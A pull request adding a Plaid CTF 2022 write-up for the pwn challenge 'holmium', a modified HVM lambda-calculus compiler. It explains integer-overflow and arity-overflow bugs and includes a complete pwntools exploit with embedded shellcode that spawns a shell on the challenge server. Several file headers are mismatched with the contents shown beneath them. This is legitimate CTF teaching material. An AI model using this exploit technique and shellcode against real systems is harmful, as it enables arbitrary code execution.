Merge pull request #20 from Qwaz/holmium

Add Plaid CTF 2022 holmium write-up

Author: theKidOfArcrania

2022/plaid-ctf-2022/holmium/2n.holomium.c

@@ -0,0 +1,10 @@
+FROM ubuntu:focal-20220316
+
+WORKDIR /pwn
+RUN apt-get update && apt-get install -y \
+ gcc \
+ && rm -rf /var/lib/apt/lists/*
+
+COPY [ "holmium", "flag.txt", "docker-main", "./" ]
+
+CMD [ "./docker-main" ]

2022/plaid-ctf-2022/holmium/2n.hvm.c

@@ -0,0 +1,326 @@
+# Holmium
+
+* Category: Pwn
+* Solves: 2
+* Points: 500
+* Solved-by: Qwaz, setuid0
+* Write-up author: Qwaz
+
+This challenge consists of a huge threatening Rust binary named `holmium`
+and a Docker environment to run it.
+The entrypoint of the container,
+`docker-main`,
+describes how our input is processed.
+It first reads input from the user
+and saves it to a file named `main.hvm`.
+Then, it runs the following code:
+
+```
+./holmium c main.hvm
+gcc -no-pie -pthread -o main main.c
+echo "Running..."
+./main
+```
+
+This reveals what is the goal of this challenge.
+It seems that `holmium` is some sort of a compiler
+that takes `.hvm` code and translate it to `.c`,
+and we need to exploit the generated binary, `main`.
+
+If we run the provided binary,
+we get this readme:
+
+```
+High-order Virtual Machine (0.1.23)
+==========================
+
+To run a file, interpreted:
+
+ hvm r file.hvm
+
+To run a file in debug mode:
+
+ hvm d file.hvm
+
+To compile a file to C:
+
+ hvm c file.hvm [--single-thread]
+
+This is a PROTOTYPE. Report bugs on https://github.com/Kindelia/HVM/issues!
+```
+
+The problem is based on an actual project named [HVM](https://github.com/Kindelia/HVM).
+HVM is a yet another lambda calculus interpreter
+with a parallel interpretation in mind.
+The project readme contains a long claim about how awesome HVM is
+with a performance comparison with Haskell GHC,
+which I think [misleading](https://github.com/Kindelia/HVM/issues/72) because HVM and GHC are not doing the same thing.
+To list a few:
+
+1. HVM precompiles known functions into the runtime itself,
+so programs would not have shared in-memory representations
+and creating a REPL is not straightforward.
+2. It silently generates corrupted values when handling clone-in-clone situation
+([#61](https://github.com/Kindelia/HVM/issues/61), [#44](https://github.com/Kindelia/HVM/issues/44#issuecomment-1030890540)).
+3. [It does not perform a proper thread synchronization](https://github.com/Kindelia/HVM/issues/66)
+(which is UB under the C memory model).
+
+With that being said,
+the problem is to exploit `holmium`, not HVM.
+They are not our concern,
+or are they?
+To figure out the answer to this question,
+we compiled one of the example program and compared
+the output generated by `holmium` and `hvm`.
+There were three notable changes.
+
+**Change 1: reduced heap size**
+
+```patch
+- #define HEAP_SIZE (8 * U64_PER_GB * sizeof(u64))
++ #define HEAP_SIZE (8 * U64_PER_MB * sizeof(u64))
+```
+
+Probably just trying to reduce the resource cap, unless there is a heap exhaustion bug.
+
+**Change 2: opcode change**
+
+```patch
+- #define DP0 (0x0) // points to the dup node that binds this variable (left side)
+- #define DP1 (0x1) // points to the dup node that binds this variable (right side)
+- #define VAR (0x2) // points to the λ that binds this variable
+- #define ARG (0x3) // points to the occurrence of a bound variable a linear argument
+- #define ERA (0x4) // signals that a binder doesn't use its bound variable
+- #define LAM (0x5) // arity = 2
+- #define APP (0x6) // arity = 2
+- #define PAR (0x7) // arity = 2 // TODO: rename to SUP
+- #define CTR (0x8) // arity = user defined
+- #define CAL (0x9) // arity = user defined
+- #define OP2 (0xA) // arity = 2
+- #define U32 (0xB) // arity = 0 (unboxed)
+- #define F32 (0xC) // arity = 0 (unboxed)
+- #define NIL (0xF) // not used
++ #define U32 (0x0) // arity = 0 (unboxed)
++ #define F32 (0x1) // arity = 0 (unboxed)
++ #define LAM (0x2) // arity = 2
++ #define APP (0x3) // arity = 2
++ #define OP2 (0x4) // arity = 2
++ #define PAR (0x5) // arity = 2 // TODO: rename to SUP
++ #define CTR (0x6) // arity = user defined
++ #define CAL (0x7) // arity = user defined
++ #define ERA (0xA) // signals that a binder doesn't use its bound variable
++ #define ARG (0xB) // points to the occurrence of a bound variable a linear argument
++ #define VAR (0xC) // points to the λ that binds this variable
++ #define DP0 (0xE) // points to the dup node that binds this variable (left side)
++ #define DP1 (0xF) // points to the dup node that binds this variable (right side)
+...
+u64 link(Worker* mem, u64 loc, Lnk lnk) {
+ mem->node[loc] = lnk;
+ //array_write(mem->nodes, loc, lnk);
+- if (get_tag(lnk) <= VAR) {
++ if (get_tag(lnk) >= VAR) {
+ mem->node[get_loc(lnk, get_tag(lnk) == DP1 ? 1 : 0)] = Arg(loc);
+ //array_write(mem->nodes, get_loc(lnk, get_tag(lnk) == DP1 ? 1 : 0), Arg(loc));
+ }
+ return lnk;
+}
+```
+
+Why did the problem author changed the opcode ordering? :thinking:
+
+**Change 3: additional assert**
+
+```patch
+u64 alloc(Worker* mem, u64 size) {
+ if (UNLIKELY(size == 0)) {
+ return 0;
+ } else {
+ u64 reuse = stk_pop(&mem->free[size]);
+ if (reuse != -1) {
+ return reuse;
+ }
+ u64 loc = mem->size;
+ mem->size += size;
++ assert(mem->size <= MEM_SPACE);
+ return mem->tid * MEM_SPACE + loc;
+ //return __atomic_fetch_add(&mem->nodes->size, size, __ATOMIC_RELAXED);
+ }
+}
+```
+
+This change seems to be making the program safer.
+
+None of these changes make the program
+fundamentally vulnerable.
+Thus, our guess was that
+there is a type confusion bug in HVM
+that allows us to create a node with a high number opcode,
+and the opcode change helps us exploit the bug.
+Then, we actually started reading how HVM parses and generates C code.
+The code quality was okay,
+although it definitely did not reach the level of the claim in the readme.
+
+Before we discuss the bugs,
+let me quickly introduce the node structure of HVM.
+HVM uses the following 64-bit value format to express each node:
+
+```
+One character correspond to 16 bits
+TAeeeeeeVVVVVVVV
+T: tag (opcode)
+A: arity (# of child nodes)
+e: ext (function ID, linked variable location, etc.)
+V: val (32-bit)
+```
+
+Upon reading the code, we spot three bugs that looked exploitable
+and few others that are not really security issues
+(e.g., name collisions, memory leak).
+
+1. Thread safety issue in dup node handling: [#66](https://github.com/Kindelia/HVM/issues/66)
+2. Arity overflows into tags if we put more than 16 arguments in a function call.
+3. Integer overflow in Rust-generated rules: [`compiler.rs`](https://github.com/Kindelia/HVM/blob/bf593cfe68d98585e63e5854e369940eae1dffa6/src/compiler.rs#L340-L358)
+
+The second bug allows us to OR values into the tag of CTR node (0x6),
+that are, CAL (0x7), DP0 (0xE), and DP1 (0xF).
+DP nodes are indirect variables
+that write the value to another location
+when passed to `link()` (see change 2 above),
+so we felt that we were on track.
+However, upon investigating how to exploit this arity overflow bug,
+we found the third integer overflow bug
+that basically allows us to create any node
+as long as its value can be expressed by
+a multiplication of two u32 values.
+It was so powerful that we didn't need the second bug at all.
+
+I prepared an arbitrary write primitive,
+and setuid0 upgraded it into a full exploit.
+He put shellcode and short jumps
+as immediate values in the compiled binary
+and jumped into the middle
+by overwriting `realloc_hook`.
+I was so happy when we solved the problem
+because my wish was granted :)
+
+![Wish](./wish.png)
+
+Our final exploit:
+
+```python
+from pwn import *
+
+exploit = """// 0x26, 0x2a, 0x2a
+(Main) = (
+ (
+ Exploit
+ 11111111 41414141
+ 22222222 41414141
+ 33333333 41414141
+ 1304007 41414141
+ 55555555 41414141
+ 66666666 41414141
+ 77777777 41414141
+ 88888888 41414141
+ )
+ (
+ Exploit
+ //585878732 652987596
+ 585863312 652972176
+ // xor eax,eax
+ // mov al,0x40
+ 652984369 652951728
+ // shl eax,1
+ // shl eax,1
+ 652992721 652992721
+ // shl eax,1
+ // shl eax,1
+ 652992721 652992721
+ // shl eax,1
+ // shl eax,1
+ 652992721 652992721
+ // shl eax,1
+ // shl eax,1
+ 652992721 652992721
+ // shl eax,1
+ // push rax; pop rsi
+ 652992721 652959312
+ // shl eax,1
+ // shl eax,1
+ 652992721 652992721
+ // shl eax,1
+ // shl eax,1
+ 652992721 652992721
+ // shl eax,1
+ // shl eax,1
+ 652992721 652992721
+ // shl eax,1
+ // push rax; pop rdi
+ 652992721 652959568
+ // xor eax,eax
+ // mov al,10
+ 652984369 652937904
+ // xor edx,edx
+ // mov dl,7
+ 652988977 652937138
+ // syscall
+ // push rsi; pop rdx
+ 652936463 652958294
+ // push rcx; pop rsi
+ // xor edi,edi
+ 652959313 653000497
+ // syscall
+ 652936463 3435973836
+ 3435973836 3435973836
+ 3435973836 3435973836
+ 3435973836 3435973836
+ 3435973836 3435973836
+ 3435973836 3435973836
+ 3435973836 3435973836
+ 3435973836 3435973836
+ 3435973836 3435973836
+ 3435973836 3435973836
+ 3435973836 3435973836
+ 3435973836 3435973836
+ 3435973836 3435973836
+ 3435973836 3435973836
+ 3435973836 3435973836
+ 3435973836 3435973836
+ 3435973836 3435973836
+ 3435973836 3435973836
+ 3435973836 3435973836
+ 3435973836 3435973836
+ 3435973836 3435973836
+ 3435973836 3435973836
+ 3435973836 3435973836
+ 3435973836 3435973836
+ 3435973836 3435973836
+ 3435973836 3435973836
+ 3435973836 3435973836
+ 3435973836 3435973836
+ 3435973836 3435973836
+ 3435973836 3435973836
+ 3435973836 3435973836
+ 3435973836 3435973836
+ )
+ // Leak test, Ctr(1, N=2, 1049301)
+ (* 1945917207 3591923955)
+ // Arbitrary write
+ // Lam(7) = 2515077533 * 916807923
+ // Executed as mem->node[1304007] = 4211158
+ ((* 2515077533 916807923) 4211158)
+)"""
+
+s = remote("holmium.chal.pwni.ng", 1337)
+s.recvuntil("-\n")
+s.send("%d main.hvm\n" % len(exploit))
+
+s.recvuntil("main.hvm\n")
+s.send(exploit)
+s.recvuntil("Running...")
+
+s.send("\x90"*0x400 + "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05")
+s.interactive()
+```
+
+`PCTF{b4by_h0lmium_d0wn_tight_wh3n_im_l0sing_my_m1nd_46bd197035aba40c}`

2022/plaid-ctf-2022/holmium/Dockerfile

@@ -0,0 +1,3 @@
+#!/bin/sh
+
+docker build -t holmium .

2022/plaid-ctf-2022/holmium/README.md

@@ -0,0 +1,25 @@
+#!/usr/bin/env python
+import subprocess
+
+subprocess.run(["./holmium", "c", "main.hvm"])
+
+with open("main.c") as f:
+ content = f.read()
+
+content = content.replace("MAX_WORKERS (16)", "MAX_WORKERS (2)")
+content = content.replace(r""" //printf("reduce "); debug_print_lnk(term); printf("\n");
+ //printf("------\n");
+ //printf("reducing: host=%d size=%llu init=%llu ", host, stack.size, init); debug_print_lnk(term); printf("\n");
+ //for (u64 i = 0; i < 256; ++i) {
+ //printf("- %llx ", i); debug_print_lnk(mem->node[i]); printf("\n");
+ //}""", r""" printf("reduce "); debug_print_lnk(term); printf("\n");
+ printf("------\n");
+ printf("reducing: host=%d size=%lu init=%lu (%lx)\n", host, stack.size, init, mem->node);
+ for (u64 i = 0; i < 64; ++i) {
+ printf("- %lx ", i); debug_print_lnk(mem->node[i]); printf("\n");
+ }""")
+
+with open("main.c", "w") as f:
+ f.write(content)
+
+subprocess.run(["gcc", "-no-pie", "-g", "-pthread", "-o", "main", "main.c"])

2022/plaid-ctf-2022/holmium/build-docker.sh

@@ -0,0 +1,24 @@
+#!/bin/sh
+
+set -eu
+
+cat << 'EOF'
+Holmium compiler explorer. Enter your program's length followed by your program.
+
+cat <(wc -c main.hvm) main.hvm -
+EOF
+
+read size rest
+
+if ! [ 0 -le "$size" -a "$size" -le "1000000" ]; then
+ echo 'Too big to run'
+ exit 1
+fi
+
+echo "Reading $size bytes into main.hvm"
+dd bs=1 count="$size" > main.hvm 2>/dev/null
+
+./holmium c main.hvm
+gcc -no-pie -pthread -o main main.c
+echo "Running..."
+./main